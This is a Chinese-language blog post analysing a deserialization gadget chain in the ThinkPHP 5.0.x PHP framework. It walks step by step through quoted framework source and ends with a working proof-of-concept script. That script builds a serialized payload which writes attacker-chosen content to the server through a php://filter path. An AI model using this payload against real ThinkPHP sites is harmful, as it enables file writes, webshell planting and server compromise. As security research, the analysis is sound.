Thinkphp 5.0.x 反序列化POP链学习 2020-08-07 05:42:32 Steven Xeldax > 本篇随笔主要是根据payload分析了下thinkphp 5.0.x版本下POP链流程,关于php反序列化可以参考https://xeldax.top/article/php_object_inject 之前的文章。 > 反序列化的POP链寻找是一门艺术,除了手动的全局搜索和源码审计有时也可以利用AST辅助自动化,关于POP链的寻找的技术不在此处进行阐述了。 Thinkphp 5.0.x的下载地址: ``` http://download.xeldax.top/thinkphp_5.0.24.zip ``` ## Thinkphp 5.0.x 反序列化POP链学习 整条链的执行流程是 Windows Pivot HasOne Output Memcached File 最后在File中利用set($name, $value, $expire = null)写入php到文件系统中。 ### POP链分析 #### windows 类 Windows类是POP链中构造的起点。 Windows类位于thinkphp\library\think\process\pipes\Windows.php 我们在windows类中找到__destruct() 函数 ``` public function __destruct() { $this->close(); $this->removeFiles(); } ``` 接着跟到$this->removeFiles()函数 ``` private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; } ``` filename是类中的$this->files属性,然后传入到了file_exists函数当中。当filename为类时候,会触发__string函数 #### pivot 类 该POP链的第二个类为pivot,定义在thinkphp\library\think\model\Pivot.php中。 该类的抽象类为model,定义在thinkphp\library\think\Model.php中。 我们跟到抽象类Model中发现__string函数,这个能被windows类中的file_exists所触发。 ``` public function __toString() { return $this->toJson(); } ``` 继续跟到$this->toJson ``` public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); } ``` 继续跟到$this->toArray ``` public function toArray() { $item = []; $visible = []; $hidden = []; $data = array_merge($this->data, $this->relation); // 过滤属性 if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); } foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { // 关联模型数据集 $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { // 模型属性 $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; } ``` 这边代码就非常多了,这边直接看第47-50行。 ``` $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); ``` $name变量来自$this->append可由反序列化控制。$this->append传入"getError"才能触发下一个POP链。 当传入getError时候,$relation = "getError",执行$this->getError()返回$this->error,然后这个$this->error又可以被反序列化控制。 $modelRelation为$this->error,传入什么,传入下一个POP链对象,我们跟入$this->getRelationData看可以传什么。 ``` protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { // 首先获取关联数据 if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; } ``` 第8行 ``` $value = $modelRelation->getRelation(); ``` xxxxx->getRelation, 在寻找POP链时候我们全局搜索看看哪些类有getRelation。 #### HasOne 类 HasOne类定义在了thinkphp\library\think\model\relation\HasOne.php HasOne类中定义了getRelation方法,我们跟进去看看。 ``` public function getRelation($subRelation = '', $closure = null) { // 执行关联定义方法 $localKey = $this->localKey; if ($closure) { call_user_func_array($closure, [ & $this->query]); } // 判断关联类型执行查询 $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find(); if ($relationModel) { $relationModel->setParent(clone $this->parent); } return $relationModel; } ``` 仔细查看第9行代码 ``` $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find(); ``` 我们似乎可以控制$this->query的内容,可以把$this->query作为反序列化数据传入,然后全局搜索具有removeWhereField方法的类,当然这里是找不到的,这边原链里使用了带有__call 的类。 #### Output类 该类定义在thinkphp\library\think\console\Output.php Output类存在__call方法 ``` public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); } if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } } ``` $this->styles我们可以控制,填入removeWhereField触发return call_user_func_array([$this, 'block'], $args); 然后跟入$this->block ``` protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); } ``` 跟入writeln ``` public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); } ``` 跟入$this->write ``` public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); } ``` 看下$this->handle ``` private $handle = null; ``` 可以被控制,下面就查找具有write方法的类 #### Memcached 类 这个类位于thinkphp\library\think\session\driver\Memcached.php 有write方法, $this->handler可以配控制 ``` public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); } ``` #### File 类 查看 set方法 ``` public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } } ``` 这边我们可以看到最终的利用函数file_put_content来写入php,$filename是可以控制的 $filename来自$this->getCacheKey($name, true); 跟进 ``` protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename); if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; } ``` $this->options['path']决定了filename,options同样可以控制。 回到set函数发现第一遍的 $result = file_put_contents($filename, $data); 我们是无法控制的。 但继续往下跟 ``` isset($first) && $this->setTagItem($filename); ``` setTagItem会再向本地文件系统中写入一个文件 ``` protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } } ``` 然后他就再调用一遍set,$value的数值就是filename,所以他会把filename文件名字写到名为filename的文件中。 file传入的数值应该为: ``` namespace think\cache\driver; class File { protected $tag='sodayo'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/write=string.rot13/resource=ccccPAYLOADcccc', 'data_compress' => false, ]; } ``` ### POC ``` <?php //File类 namespace think\cache\driver; class File { protected $tag='sodayo'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/write=string.rot13/resource=ccccPAYLOADcccc', 'data_compress' => false, ]; } //Memcached类 namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler; function __construct() { $this->handler=new File(); } } //Output类 namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; private $handle; function __construct() { $this->handle=new Memcached(); } } //HasOne类 namespace think\model\relation; use think\console\Output; class HasOne { protected $query; function __construct() { $this->query=new Output(); } } //Pivot类 namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; protected $error; public function __construct() { $this->error=new HasOne(); } } //Windows类 namespace think\process\pipes; use think\model\Pivot; class Windows { private $files; public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); ``` ### 参考资料 https://drivertom.blogspot.com/2020/01/thinkphp-v50x-pop-chainpoc.html https://www.anquanke.com/post/id/196364